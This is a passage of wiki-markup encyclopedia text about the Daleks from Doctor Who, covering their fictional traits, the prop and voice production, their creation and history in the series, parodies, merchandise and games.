In the [[parallel universe|alternate future]] of ''[[Day of the Daleks]]'', dalekanium is an unstable explosive that can penetrate Dalek casings. The two may be the same, or the term may simply be a [[neologism]] to describe a product of the Daleks. The lower shell is covered with many hemispherical protrusions or &quot;Dalek bumps&quot;. These have been described as being a sensor array, but in the episode ''[[Dalek (Doctor Who episode)|Dalek]]'' they are part of a self-destruct system. Dalek casings also tend to explode spectacularly if they are breached by gunfire, as was seen multiple times during the series. 

The creatures inside their &quot;travel machines&quot; are depicted as soft and repulsive in appearance, but still vicious even without their mechanical armour. The first glimpse of the mutant in ''[[The Daleks]]'' was merely a claw peeking out from under a coat. The actual appearance of the mutant has varied, but in most cases it is an [[octopus]]-like multi-tentacled creature. The Doctor described the Daleks as &quot;little green blobs in bonded polycarbide [[armour]]&quot; in ''[[Remembrance of the Daleks]]'', where a Dalek mutant was seen to have a [[bionics|bionically]] augmented claw. In ''[[Resurrection of the Daleks]]'' a Dalek creature, separated from its casing, attacks and kills a human soldier. 

However, as the creature inside is rarely seen on screen, the misconception that Daleks are wholly mechanical robots exists, a mistake the series itself has made on occasion. The interdependence of biological and mechanical components makes the Daleks a type of [[cyborg]].

The voice of a Dalek is electronic, the Dalek creature being apparently unable to make much more than squeaking sounds when out of its casing. Daleks also have a [[radio]] communicator built into their shells, and emit an alarm to summon other nearby Daleks if the casing is opened from outside. The Dalek's eyepiece is its most vulnerable spot, and impairing its vision often leads to a blind firing of its weapon.

[[Image:remembranceofthedaleks.jpg|thumb|200px|left|A Dalek climbs stairs (from ''Remembrance of the Daleks'')]]
Due to their gliding motion Daleks were notoriously unable to tackle [[stairs]], which made them easy to overcome under the right circumstances. An oft-copied cartoon from ''[[Punch (magazine)|Punch]]'' pictured a group of Daleks at the foot of a flight of stairs with the caption, &quot;This certainly buggers our plan to conquer the Universe&quot;. In a scene from the serial ''[[Destiny of the Daleks]]'', the Doctor and companions escape from Dalek pursuers by climbing into a ceiling duct. The Doctor ([[Tom Baker]]) calls down, &quot;If you're supposed to be the superior race of the universe, why don't you try climbing after us? Bye bye!&quot; The Daleks generally make up for their lack of mobility with overwhelming firepower. A joke around [[science fiction convention]]s went, &quot;Real Daleks don't climb stairs; they level the building.&quot; 

In ''[[The Dalek Invasion of Earth]]'' (1964) a Dalek emerges from the waters of the [[River Thames]], indicating that they are [[amphibious vehicle|amphibious]] to a degree. ''Remembrance of the Daleks'' (1988) showed that they can hover using a sort of limited [[antigravity]] — first implied in earlier serials such as ''[[The Chase (Doctor Who)|The Chase]]'' (1965) and ''[[Revelation of the Daleks]]'' (1985) — but their awkward forms still limit their mobility in tight quarters. Despite this, the Daleks' supposed inability to climb stairs is still frequently referred to for humorous effect by journalists covering the series. 

The 2005 series episodes ''[[Dalek (Doctor Who episode)|Dalek]]'' and ''[[The Parting of the Ways]]'' featured Daleks hovering and flying, the latter also showing them flying through the vacuum of space. In the ''Dalek'' episode, the Dalek said &quot;Elevate&quot; before hovering, in the same way it would say &quot;Exterminate&quot; before exterminating. 

===Costume details===
[[Image:Dalek from BBC.jpg|thumb|200px|A Dalek, as seen in ''[[Day of the Daleks]]''.]]
The Daleks were actually operated from inside by short operators who had to manipulate their eyestalks, domes and arms, as well as flashing the lights on their heads in sync with the actors supplying their voices. The Dalek cases were built in two pieces; once an operator stepped into the lower section the top would be lowered onto him. The operators looked out between the circular louvres just beneath the dome that were lined with mesh to conceal their faces.

Unfortunately, as well as being hot and cramped, the Dalek casings also muffled external sounds, making it difficult for the operators to hear the director's commands or studio dialogue. The top sections were also too heavy to lift from the inside, which meant that the operators could be trapped in them if the stagehands forgot to let them out.  John Scott Martin, a Dalek operator from the original series, commented in a documentary that it would have been easier to operate a Dalek if one was an [[octopus]], due to the many controls involved.

Early versions of the Daleks were either rolled around on nylon castors or propelled by wheels connected to hand cranks by [[bicycle]] chains. While castors were adequate for the Daleks' debut serial, which was shot entirely at the BBC's [[Lime Grove Studios]], for ''[[The Dalek Invasion of Earth]]'', Terry Nation wanted the Daleks to take to the streets of [[London]] for location filming. As a result, the base of the costume had to be deepened to accommodate small pneumatic tyres. However, the bumpy flagstones of Central London caused the Daleks to rattle as they moved and it was not possible to remove this noise from the final shoot. Also added to the prop was a small radar dish at the rear of the casing, in an attempt to explain why these Daleks, unlike the ones in their first serial, were not dependent on [[static electricity]] drawn from the floors of the Dalek city for their motive power. 

Later versions of the prop had more efficient wheels and were simply propelled by the operators' feet. Occasionaly, modified [[tricycles]] were used. Even so, they were so heavy that when going up ramps they often had to be pushed by stagehands out of camera shot. In addition, the difficulty of operating all the prop's parts at once also contributed to the occasionally jerky movements of the Dalek. The latest model of the costume still has a human operator within, but the movement of the dome and eyestalk is now remotely controlled so that the operator can concentrate on the smooth movement of the Dalek and its arms.

The Dalek voice, a [[staccato]] delivery, was initially developed by voice actors [[Peter Hawkins]] (who had also provided the voice for the popular children's animated series ''[[Captain Pugwash]]'') and David Graham, who would vary the pitch and speed of the lines according to the emotion needed. Their  voices were further processed electronically by Brian Hodgson at the [[BBC Radiophonic Workshop]]. Although the exact sound-processing devices used have varied over the years, the original 1963 effect used [[equalization|EQ]] to boost the mid-range of the actor's voice, then subjected it to [[ring modulation]] with a 30 Hz [[sine wave]]. The distinctive harsh grating vocal timbre this produced has remained the pattern for all Dalek voices since then. Notable voice actors for the Daleks include [[Roy Skelton]]. In the 2005 series, the Dalek voice is provided by [[Nicholas Briggs]], speaking into a microphone connected to a voice modulator. Briggs has also done Dalek and other alien voices for [[radio drama|audio plays]].

The non-humanoid shape of the Dalek, unlike anything that had been seen on television before, did much to enhance the creatures' sense of menace. With no familiar points of reference, it was a far cry from the traditional &quot;bug-eyed monster&quot; of science fiction that ''Doctor Who'' series creator [[Sydney Newman]] wanted the show to avoid. The unsettling form of the Daleks, coupled with their alien voices, also made many believe for a while that the props were wholly mechanical and operated by remote control.

Manufacturing the props was also expensive. In scenes where many Daleks had to appear, some of them would be represented by wooden replicas (''[[Destiny of the Daleks]]'') or, in the early [[black and white]] episodes, life-size photographic enlargements (''[[The Power of the Daleks]]''). In stories involving armies of Daleks, the BBC effects team even turned to using commercially-available toy Daleks, manufactured by Louis Marx &amp; Co. A typical example of such use can be observed in ''[[Planet of the Daleks]]''. Judicious editing techniques also made it look like there were more Dalek props than were actually available, and continue to be used to the present day, such as using [[split screen (film)|split screen]] in ''The Parting of the Ways''.

Initially there were four fully functioning props commissioned for the first serial, constructed from BBC plans by Shawcraft Models (which became known in fan circles as &quot;Mk I Daleks&quot;). Shawcraft were also commissioned to construct twenty or so Daleks for the two Dalek movies in 1965 and 1966 (see [[#Other appearances|below]]). Most of these props from the movies filtered back to the BBC and were seen in the televised serials, notably in ''[[The Chase (Doctor Who)|The Chase]]'', which was released even before the first movie's debut. The remaining props not bought by the BBC were either donated to charity or given away as prizes in competitions. 

Those still in BBC hands were reused several times, but eventually years of storage and repainting took their toll. By the time of the [[Sixth Doctor]]'s ''[[Revelation of the Daleks]]'', the props were manufactured out of [[fibreglass]], and were lighter and more affordable to construct than their predecessors. These Daleks were slightly bulkier in appearance around the mid-shoulder section, and also had a slightly redesigned base which was more vertical at the back. Minor changes were made to the design thanks to these new methods of construction, including alterations to the lower skirting as well as the mid-shoulder section incorporating the arm boxes, which were now one single unit, with the vertical bands encircling the casing also included in the fibreglass mould. 

These were repainted in grey for the [[Seventh Doctor]] serial ''Remembrance of the Daleks'' and designated as [[Dalek variants#Standard Dalek|&quot;Renegade Daleks&quot;]] while another redesign, painted in white and gold, became the [[Dalek variants#Imperial Dalek|&quot;Imperial Dalek&quot;]] faction. The new methods of construction also allowed the BBC Effects Department to build non-working &quot;dummy&quot; Daleks meant for use in scenes involving pyrotechnics. Several of these props were blown up in controlled explosions during the filming of ''Remembrance of the Daleks'', which would not have been cost-efficient with working props.

==History==
===Conceptual history===
[[Image:TheDalekChronicles-004.jpg|thumb|200px|A page from the TV 21 comic strip, featuring the creation of the Emperor Dalek.]]
Terry Nation claimed that he was inspired by watching [[ballet]] dancers in long dresses glide as if on wheels. Indeed, for many of the shows, the Daleks were &quot;played&quot; by retired ballet dancers wearing black socks while sitting inside the Dalek. Raymond Cusick claims that after Nation wrote the script, he was given only an hour to come up with the design for the Daleks, and was inspired by a pepper shaker on the table in front of him to do the initial sketches (other sources state that he based it on a man seated in a chair, and only used the pepper shaker to demonstrate how it might move).

Nation also claimed that the name came from a volume of a dictionary or encyclopedia, the spine of which read &quot;Dal - Lek&quot;. He later admitted that he had made this up as a reply to a question by a journalist and that anyone who checked out his story would have found him out. The name had in reality simply rolled off his typewriter. Later, Nation was pleasantly surprised to discover that in [[Serbo-Croatian language|Serbo-Croatian]] the word &quot;dalek&quot; means &quot;far&quot;, or &quot;distant&quot;. Other [[Slavonic languages]] have similar words for &quot;far&quot;. The [[Cyrillic]] letter '''&amp;#1044;''' = &quot;D&quot; coincidentally also resembles a Dalek.  

Nation grew up during [[World War II]], and remembered the fear caused by German bombings. He consciously based the Daleks on the [[Nazism|Nazis]], conceiving the species as faceless, authoritarian figures dedicated to conquest, domination, and complete conformity. The analogy is most obvious in the Dalek stories penned by Nation, in particular ''The Dalek Invasion of Earth'' and ''[[Genesis of the Daleks]]''.

Prior to writing the first Dalek serial, Nation was chief scriptwriter for comedian [[Tony Hancock]]. The two fell out and Nation was fired. According to various sources, including Cliff Goodwin's biography of Hancock, the comedian claimed that during one of their last meetings he had speculated on how nuclear warfare might reduce humans to such a helpless state that they would have to be plugged into robot-like casings to stay alive. Allegedly, when Hancock saw the Daleks he shouted at the screen, &quot;That bloody Nation — he's stolen my robots!&quot;

The first Dalek serial is called, variously, ''The Survivors'' (the pre-production title), ''The Mutants'' (its official title at the time of production and broadcast, later taken by a second, unrelated ''Doctor Who'' story), ''Beyond the Sun'', ''The Dead Planet'', or simply ''[[The Daleks]]''. The reason for the multiple titles is that in the show's early years each individual episode had a different name and overall story titles were used only by the production office. Subsequently, several different overall story titles were circulated by [[fandom]] without access to the correct records. See: [[Doctor Who story title controversy]].

The instant appeal of the Daleks took the BBC off guard, and transformed ''Doctor Who'' from a Saturday tea-time children's educational programme to a must-watch national phenomenon. Children were alternately frightened and fascinated by the completely alien look of the monsters, and the ''Doctor Who'' production office was inundated by letters and calls asking about the creatures. Newspaper articles focused more attention on the series and the Daleks, further enhancing their popularity.

However, despite this adoration, the Daleks were forever associated with ''Doctor Who''. Nation, who jointly owned the intellectual property rights to them with the BBC, therefore had the problem of owning a money-making concept that proved nearly impossible to sell to anyone else and was dependent on the BBC wanting to produce stories featuring the creatures. Indeed, several attempts to market the Daleks outside of ''Doctor Who'' were unsuccessful. The sums of money required to pay Nation for the use of his creations also explained why their appearances in the programme were rare in later years. Since Nation's death in 1997, his share of the rights now belong to his estate and are administered by his former agent, Tim Hancock.

When a new ''Doctor Who'' series was announced for 2005, many fans hoped the Daleks would return once more to the programme. After much negotiation between the BBC and the Nation estate (which at one point appeared to completely break down), an agreement was reached. According to media reports, the initial disagreement was due to the Nation estate demanding levels of creative control over the Daleks' appearances and scripts that were unacceptable to the BBC. However, talks between Tim Hancock and the BBC progressed more productively than had been expected, and on [[August 4]] [[2004]] a BBC press release announced that the creatures would, after all, be appearing in the first season of the new series. 

Rumours were rife about Dalek re-designs, ranging from cosmetic changes to the Dalek casing to radical ones like the multi-legged &quot;[[Dalek variants#Spider Dalek|Spider Daleks]]&quot; concept (first proposed for an early version of the [[Doctor Who (1996)|''Doctor Who'' television movie]], and later popular in fandom). However, none of these rumours were confirmed. An alleged &quot;official BBC&quot; sketch published in the British newspaper ''[[The Daily Mirror]]'' on [[October 30]] 2004 showed a soldier looking on at a conventional-looking Dalek that appeared to be either flying or hovering off the ground. At the press preview screening of the first episode of the new series on [[March 8]], 2005, it was revealed that the Daleks would be able to fly and hover on a kind of energy thruster.

In [[November 2004]], pictures showing a new Dalek prop began circulating on the internet, and the images also appeared in various newspapers. The photographs showed no major alterations to the Dalek design, except for an expanded base, an all over metallic brass finish and ear-bulbs that resembled the movie versions. In a trailer for the new series broadcast on [[March 15]], 2005, a quick glimpse of a Dalek of this design in chains was seen.  Episodes of the [[Channel 4]] afternoon talk show ''[[Richard and Judy]]'' on [[April 21]]  and [[April 29]] showed some clips from the episode as well.

===History within the show===
{{main|History of the Daleks}}

[[Image:Davros.jpg|thumb|200px|right|[[Davros]], creator of the Daleks.]]
As is common in long-running series whose backstories are not mapped out and which are also the product of many different writers over the course of years, Dalek history has seen many [[retcon|retroactive changes]] and these have caused some [[Continuity (fiction)|continuity]] problems.

When the Daleks first appeared in ''The Daleks'' (1963), they were the product of a brief nuclear war between the Dal and [[Thal (Doctor Who)|Thal]] races. However, in 1975, Terry Nation revised the Daleks' origins in the serial ''[[Genesis of the Daleks]]'', where the Dals were now called Kaleds (an [[anagram]] of Dalek), and the Dalek design was attributed to one man, the crippled Kaled chief scientist and evil genius [[Davros]].

Also, instead of a short nuclear exchange, the Kaled-Thal war was portrayed as a generations-long war of [[attrition warfare|attrition]], fought with nuclear, [[biological weapon|biological]] and [[chemical weapon]]s. The resulting mutations from the fallout were accelerated by Davros and placed in [[tank]]-like &quot;travel machines&quot; whose design was based on his own life-support chair.

''Genesis of the Daleks'' marked a new era for the depiction of the species, with most of their previous history either forgotten or barely referred to again. Future stories, which followed a rough [[story arc]], would also focus more on Davros, much to the dissatisfaction of some fans who felt that the Daleks should take centre stage, rather than becoming mere minions of their creator.

Davros made his last televised appearance in the serial ''[[Remembrance of the Daleks]]'' (1988). ''Remembrance of the Daleks'' also marked the last on-screen appearance of the Daleks in the context of the programme until 2005, save for charity specials like ''[[Doctor Who and the Curse of Fatal Death]]'' and the use of Dalek voices in the [[Doctor Who (1996)|''Doctor Who'' television movie]] in 1996.

[[Image:Flyingdalek.jpg|thumb|300px|A Dalek flies, from ''[[Dalek (Doctor Who episode)|Dalek]]''.]]
The Daleks returned in the [[List of Doctor Who serials#Series 1 (2005)|2005 series]]. ''[[Dalek (Doctor Who episode)|Dalek]]'', written by [[Rob Shearman|Robert Shearman]], the sixth episode of the new series, was broadcast on [[BBC One]] on [[30 April]], 2005. The new Dalek exhibited abilities not seen before, including a swivelling mid-section that allowed it a 360-degree field of fire and a force field that disintegrated bullets before they struck it. In addition to the ability to fly, it was also able to regenerate itself by means of absorbing electrical power and the [[DNA]] of a time traveller. The &quot;plunger&quot; manipulator arm was also able to crush a man's skull in addition to the technology interfacing abilities shown by earlier models. A more sophisticated model of the Dalek mutant was also shown. This Dalek was apparently the sole survivor of a [[Time War (Doctor Who)|Time War]] that had destroyed both the Daleks and the Time Lords.

The two-part 2005 series finale, comprising ''[[Bad Wolf]]'' and ''[[The Parting of the Ways]]''  saw the return of the [[Dalek variants#Dalek Emperor|Dalek Emperor]], who had also survived the Time War and had rebuilt the Dalek race. This Emperor came to see itself as a god, and built its new society around the Daleks' worship of itself. At the end of the story, the Daleks and their fleet were reduced to atoms.

The production team has stated that the Daleks will face the [[Tenth Doctor]] at some point, but not in the [[List of Doctor Who serials#Series 2 (2006)|2006 series]]. However, the BBC press release for Series 2 mentions that the Doctor and Rose will battle various aliens and monsters, and &quot;maybe even a Dalek&quot;.[http://www.bbc.co.uk/pressoffice/pressreleases/stories/2005/12_december/06/1drama.shtml#doctor]

==Culture==
Daleks have little to no individual personalities and a strict command structure, conditioned to obey superior orders without question. Ultimately, the most fundamental feature of Dalek culture and psychology is an unquestioned belief in the superiority of the Daleks. Other species are either to be exterminated immediately, or enslaved and then exterminated later once they are no longer necessary. The default directive of a Dalek is to destroy all non-Dalek lifeforms.

This belief is thought to be the reason why Daleks have never significantly modified the designs of their mechanical shells to overcome its obvious physical limitations; any such modification would deviate from the Dalek ideal, and therefore ''must'' be inferior and deserving of extermination. The schism between the Renegade and Imperial Daleks seen in ''Remembrance of the Daleks'' is a prime example of this, with each faction considering the other to be a perversion despite the relatively minor differences between them. It also means, however, that Daleks are intolerant of such &quot;contamination&quot; even within themselves, as also shown in ''Dalek'', ''The Evil of the Daleks'' and in the [[Big Finish Productions]] [[radio drama|audio play]] ''[[The Mutant Phase]]''.

Another offshoot of this superiority complex is their complete ruthlessness and lack of compassion. It is because of this that it is nearly impossible to negotiate or reason with a Dalek and it is this single-mindedness that makes them so dangerous and not to be underestimated. However, their reliance on logic and machinery is also a weakness that they recognise. As a result, they also make use of non-Dalek species to compensate for these shortcomings (see [[Dalek variants#Dalek agents|Dalek agents]]).

As noted above, in ''The Parting of the Ways'', the Daleks that were resurrected through the manipulation and mutation of human genetic material by the Dalek Emperor were religious fanatics that worshipped the Emperor as their god.

[[Image:kafaraqgatri.jpg|thumb|300px|The Daleks face their bogeyman, the Doctor. From the comic strip ''Metamorphosis'', art by Lee Sullivan.]]
Although the Daleks are well known for their disregard of [[due process]], there have been two occasions on which they have taken enemies back to Skaro for a &quot;trial&quot; rather than killing them on the spot; the first was their creator, [[Davros]], in ''Revelation of the Daleks'', and the second was the renegade [[Time Lord]] known as [[Master (Doctor Who)|the Master]] in the [[Doctor Who (1996)|''Doctor Who'' television movie]]. Neither trial occurred on-screen, so it is not clear what was actually involved. The Master's trial presumably took place before the destruction of Skaro. The reasons for the Master's trial, and why the Doctor would be asked to retrieve the Master's remains, have never been explained on screen.

The spin-off novels contain several (tongue-in-cheek) mentions of Dalek poetry (and an anecdote about an opera based thereupon, which was lost to posterity when the entire cast was exterminated on opening night). Two stanzas are given in the novel ''The Also People'' by Ben Aaronovitch. Some of the more elaborate Dalek battlecries have an almost poetic quality about them (for example, &quot;Advance and Attack! Attack and Destroy! Destroy and Rejoice!&quot; from the televised story ''[[The Chase (Doctor Who)|The Chase]]'').  In an [[parallel universe|alternate timeline]] portrayed in [[Big Finish Productions]] audio adventure ''[[The Time of the Daleks]]'', the Daleks show a fondness for the works of [[William Shakespeare|Shakespeare]].

Due to their frequent defeats by the Doctor, he has become a sort of [[bogeyman]] in Dalek culture. They have standing orders to capture or exterminate the Doctor on sight, and are occasionally able to identify him despite his [[Doctor (Doctor Who)#Changing faces|regenerations]]. This is probably not an innate ability, but rather because of good record keeping. In the comic strips and novels the Daleks know the Doctor as the '''Ka Faraq Gatri''': &quot;The Bringer of Darkness&quot; or &quot;Destroyer of Worlds&quot; (this was first established in the novelisation of ''Remembrance of the Daleks'' by [[Ben Aaronovitch]]). In ''[[The Parting of the Ways]]'', the Doctor claims that the Daleks call him &quot;The Oncoming Storm&quot; — this name was used by the [[Draconian (Doctor Who)|Draconians]] to refer to the Doctor in the Virgin New Adventures novel ''Love and War'' by [[Paul Cornell]].

The Doctor, in turn, has grown to be almost monomaniacal in his belief that the Daleks are completely evil and unworthy of trust or compassion. This contrasts with some of the Doctor's earlier dealings with the Daleks, for example, the Second Doctor's attempt to instill a &quot;human factor&quot; in Daleks in ''The Evil of the Daleks'' and the Fourth Doctor's hesitation when presented with the opportunity to destroy the Daleks at the point of their creation in ''Genesis of the Daleks''. Perhaps intensified by the events of the Time War, his conviction of the irredeemability of the Daleks motivated a venomous outburst by the Ninth Doctor in ''Dalek'', leading the lone mutant in that episode to observe that the Doctor &quot;would make a good Dalek.&quot;

==Other appearances==
===Licensed media===
[[Image:dalekmovieposter.jpg|thumb|300px|The poster for ''Dr. Who and the Daleks''.]]
Two ''Doctor Who'' movies starring [[Peter Cushing]] featured the Daleks as the main villains: ''[[Dr. Who and the Daleks]]'', and ''[[Daleks - Invasion Earth 2150 AD]]'', based on the television serials ''The Daleks'' and ''The Dalek Invasion of Earth'', respectively. However, the movies were not straight remakes. Cushing's Doctor is not an alien, but a human inventor, and is literally named &quot;Doctor Who&quot;. The movies used brand new Dalek props, based closely on the original design but with a wider range of colours. Originally, the movie Daleks were supposed to shoot jets of flame, but this was thought to be too graphic for children, so their weapons emitted jets of deadly vapour instead.

Nation also authorised the publication of the comic strip [http://ganolan.users.btopenworld.com/Chronicles/chronicles.htm ''The Daleks''] in the comic ''[[TV Century 21]]'' in 1965.  The one-page strip (written by [[David Whitaker]] but credited to Nation) featured the Daleks as protagonists and &quot;heroes&quot;, and continued for two years, from their creation of the mechanised Daleks by the humanoid Dalek scientist, Yarvelling, to their eventual discovery in the ruins of a crashed space-liner of the co-ordinates for [[Earth]], which they proposed to invade. Although much of the material in these strips directly contradicted what was shown on television later, some concepts like the Daleks using humanoid duplicates and the design of the [[Dalek variants|Dalek Emperor]] did show up later on in the programme. In 1994, the [[Marvel UK|UK arm]] of [[Marvel Comics]] reprinted all the ''TV 21'' strips in a collected edition titled ''The Dalek Chronicles''.

At the same time, a ''Doctor Who'' strip was also being published in ''[[TV Comic]]''. Initially, the strip did not have the rights to use the Daleks, so the [[First Doctor]] battled the &quot;Trods&quot; instead, cone-shaped robotic creatures that ran on static electricity that were obviously based on the Daleks. By the time the [[Second Doctor]] appeared in the strip in 1967 the rights issues had been resolved, and the Daleks began making appearances starting in ''The Trodos Ambush'' (TVC #788-#791), where they massacred the Trods.

In the 1980s, [[Marvel UK]] was publishing ''[[Doctor Who Magazine]]'', which included comic strip stories in its pages. Aside from meeting up with the Doctor in them, the DWM strips also introduced a new nemesis for the Daleks, the Dalek Killer named [[Abslom Daak]]. Daak was a convicted criminal in the 25th Century who was given the choice between execution and being sent on a suicide mission against the Daleks. He chose the latter and, when the woman he loved was killed by the Daleks, made it his life's purpose to kill every one of the creatures he came across.

The Daleks have also appeared in the ''Dalek Empire'' series of audio plays by [[Big Finish Productions]], of which three mini-series, totalling 14 CDs, have so far been produced and saw the return of the original Dalek Emperor. They have also returned to bedevil the Doctor in Big Finish's ''Doctor Who'' line of audio plays.

===Parodies===
Daleks have been the subject of many [[parody|parodies]], including [[Spike Milligan]]'s &quot;Pakistani Dalek&quot; sketch in his comedy series ''[[Q (Spike Milligan series)|Q]]'', and [[Victor Lewis-Smith]]'s [[gay]] Daleks. To an extent, ''Doctor Who'' itself has also parodied the Daleks from time to time. In 2002, [[BBC Worldwide]] published ''The Dalek Survival Guide'', a parody of [[The Worst-Case Scenario Survival Handbook]]s.

In the [[Red Dwarf]] A-Z (a collection of popular Red Dwarf gags, with commentaries by famous fans and the cast and crew), two Daleks are shown (in the Exterminate section, of course), arguing that all Earth television is human propaganda, and the works more commonly attributed to [[William Shakespeare]] and [[Ludwig van Beethoven]] were actually written by Daleks. After this, one of them begins talking about past episodes of Red Dwarf, and is promptly exterminated for the crime of &quot;not behaving like a true Dalek&quot;.

A second series episode of the [[BBC Radio 4]] [[science fiction]] [[comedy]] ''[[Nebulous]]'', ''Destiny of the Destinyod'', is similar to the title of the Dalek serial ''[[Destiny of the Daleks]]''. ''Nebulous'' is co-written by Dalek voice actor Nicholas Briggs and also features comedian and ''Doctor Who'' writer, [[Mark Gatiss]]. Also on BBC Radio 4, the Daleks made occasional appearances on the satirical impressionist show, ''[[Dead Ringers]]'', noting that the proliferation of wheelchair ramps would make it easier for Daleks to invade Earth, and included them trying to buy skin-care products for Davros' wrinkled skin.

A sketch in ''Last Laugh '05,'' a comedy programme by American cable network [[Comedy Central]], featured [[Andy Dick]] as a wedding planner working for [[Tom Cruise]] and [[Katie Holmes]].  In the course of his task, he is faced with a creature heavily based on a Dalek.

===Popular culture===
The Daleks' popularity extended to books, stage shows and television programmes. They have also become a common popular culture reference outside of ''Doctor Who''. For example, in [[The Clash]]'s song &quot;[[Remote Control (song)|Remote Control]]&quot; (from their [[The Clash (album)|self-titled 1977 album]]), the last verse includes the lines, &quot;''Repression — gonna be a Dalek / Repression — I am a robot / Repression — I obey.''&quot;

In the 2003 film ''[[Looney Tunes: Back In Action]],'' two Cushing movie-style Daleks made a cameo appearance in the &quot;[[Area 51|Area 52]]&quot; segment amidst many famous &quot;old-time&quot; movie monsters. A Dalek also appears (along with the ''[[Lost in Space]]'' robot) in a 2005 television advertisement for the Australian [[ANZ Bank]]. A recent British [[Kit Kat]] advertisement features a squad of Daleks who have joined a group of [[Hare Krishna]] devotees, rolling through a shopping centre while repeatedly chanting &quot;Peace and love!&quot; in their distinctive voices. In the ''[[Teen Titans (animated series)|Teen Titans]]'' animated series episode &quot;Homecoming, Pt. 1&quot;, the supervillain the [[Brain (comics)|Brain]] is housed in a conical mobile casing, the lower half of which resembles a Dalek, complete with bumps.

[[Katy Manning]], who played the [[Third Doctor]]'s companion [[Jo Grant]], posed nude with a Dalek for an Australian men's magazine after she left the series. Daleks were recently featured in an unauthorized pornographic feature, ''Abducted by the Daloids'' (although the disc itself uses &quot;Daleks&quot;). In the film, the &quot;Daloids&quot; (portrayed by several Dalek models) molest three scantily-clad models and watch [[lesbian]] intercourse scenes. The BBC took action to prevent sale of the DVD when learning of it in [[November 2005]]. [http://www.theregister.co.uk/2005/11/28/dalek_film/].

==Merchandising==
[[Image:dalekattackgame.jpg|thumb|200px|''Dalek Attack'' (1992), from Admiral Software.]]
The BBC approached Roger Tuckwell, an [[Australia]]n entrepreneur who was handling product merchandising for other BBC shows, and asked him to do the same for the Daleks and ''Doctor Who''. Tuckwell created a glossy sales brochure that sparked off a Dalek craze, dubbed &quot;Dalekmania&quot; by the press, which peaked around the time ''The Chase'' aired in 1965.

===Toys===
The first Dalek toys from Louis Marx &amp; Co. appeared that year, along with toys of the Mechanoids (robotic foes of the Daleks also introduced in ''The Chase''). The Mechanoids were created with the expectation that they would become as popular as Daleks, but they were not as successful. Other unsuccessful BBC attempts to create a &quot;replacement&quot; for the Daleks, or at least duplicate their popularity included the Voord (''[[The Keys of Marinus]]''), the Krotons (''[[The Krotons]]'') and the Quarks (''[[The Dominators]]''). Also unsuccessful were Dalek toys made of rubber.

At the height of the Daleks' popularity, apart from toy replicas, there were also Dalek construction kits, Dalek board games and activity sets, Dalek slide projectors for children and even Dalek playsuits made from PVC. There were collectible cards, stickers, toy guns, music singles, punching bags and many other items. Between 1963 and 1965, the BBC published three annuals with short stories and comic strips featuring the Daleks, written by Whitaker and Nation. The ''Dalek Annual'' was revived in 1976 and 1977, with stories and selected reprints from the ''TV 21'' comic strip.

In the 1970s, Palitoy released a Talking Dalek which could utter standard Dalek phrases such as &quot;You will obey!&quot; and &quot;Exterminate!&quot; Later, model kits of other Dalek-related characters like Davros, the Supreme Dalek and Gold Daleks were also released. In 2001 a new range of talking Daleks were produced, along with a talking [[Cyberman]] and a talking Davros. 

In 2005, new Dalek toys, including a remote controlled, talking Dalek and a pair of battling Daleks, were also created based on the designs for the new series. These were unexpectedly popular and were sold out in many stores in the UK. A remote controlled Dalek based on the white-and-gold Imperial Dalek design was also released.

===Computer games===
[[Image:Dalek_quake.png|thumb|200px|Daleks featured in a ''Quake'' conversion by Conrad Feinson.]]
The Daleks have featured in computer games since the 1980s, beginning with an unlicensed modification of the ''[[Robots (computer game)|Robots]]'' game called ''[[Daleks (video game)|Daleks]]''. However, the game uses Daleks only as generic monsters, with no Dalek-specific features. Licensed ''Doctor Who'' games featuring Daleks include 1984's ''The Key to Time'', a text adventure game for the [[ZX Spectrum]]. Daleks also appeared in minor roles or as thinly disguised versions in other, minor games throughout the 80s, but did not feature as central adversaries in a licensed game until 1992, when Admiral Software published ''[[Dalek Attack]]''. The game allowed the player to play various Doctors or [[:Category:Doctor Who companions|companions]], running them through several environments to defeat the Daleks. In 1997 the BBC released a [[Personal computer|PC]] game entitled ''[[Destiny of the Doctors]]'' which also featured the Daleks, among other adversaries, who also seemed to be able to follow the player character up the stairs. In 1998 the BBC released a ''Doctor Who'' [[screensaver]] done in [[Macromedia Shockwave]] which had a built-in minigame, where the player controlled [[K-9 (Doctor Who)|K-9]] battling the Daleks through seven increasingly difficult levels. 

At present, there are a few unauthorised Dalek games that can be played online, such as the [[Java programming language|Java applet]] game ''Daleks!'' a [[Macromedia Flash]] game, ''[http://www.pixel-pie.com/ Daleks — Dissolution Earth]'', a [[DHTML]]/[[JavaScript]] arcade game ''[http://www.def-logic.com/dalek/dalek.html Dalek]'', and a [[Mod (computer gaming)|modification]] for ''[[Half-Life]]'', ''[http://mysite.wanadoo-members.co.uk/unbidden Dalek Unbidden]''. In 1998 ''QWho'', a modification for ''Quake'', featured the Daleks as adversaries. This also formed the basis of ''[http://www.otranto.demon.co.uk/timequake/ TimeQuake]'', a [[total conversion]] written in 2000 which included other ''Doctor Who'' monsters such as [[Sontaran]]s. 

One of the robots in the game ''[[Paradroid]]'' looks like a Dalek and its background info mentions that its appearance frightens humans. Another unauthorised game is ''[http://www.dalektron.org DalekTron]'', a Windows-only game based on [[Robotron: 2084]] and written in the [[Smalltalk]] programming language to coincide with the 2005 series.

Conversely, an authorised online game is ''The Last Dalek'', a Flash game created by New Media Collective for the BBC. It is based on the 2005 episode and can be played at the official BBC ''Doctor Who'' [http://www.bbc.co.uk/doctorwho/games/lastdalek/index.htm website].

==Major appearances==
===Television===
*''[[The Daleks]]'': [[December 21]], [[1963]]&amp;ndash;[[February 1]], [[1964]]
*''[[The Dalek Invasion of Earth]]'': [[November 21]]&amp;ndash;[[December 26]], [[1964]]
*''[[The Chase (Doctor Who)|The Chase]]'': [[May 22]]&amp;ndash;[[June 26]], [[1965]]
*''[[Mission to the Unknown]]'': [[October 9]], [[1965]]
*''[[The Daleks' Master Plan]]'': [[November 13]], [[1965]]&amp;ndash;[[January 29]], [[1966]]
*''[[The Power of the Daleks]]'': [[November 5]]&amp;ndash;[[December 10]], 1966
*''[[The Evil of the Daleks]]'': [[May 20]]&amp;ndash;[[July 1]], [[1967]]
*''[[Day of the Daleks]]'': [[January 1]]&amp;ndash;[[January 22]],[[1972]]
*''[[Frontier in Space]]'': [[February 24]]&amp;ndash;[[March 31]], [[1973]]
*''[[Planet of the Daleks]]'': [[April 7]]&amp;ndash;[[May 10]], [[1973]]
*''[[Death to the Daleks]]'': [[February 23]]&amp;ndash;[[March 16]], [[1974]]
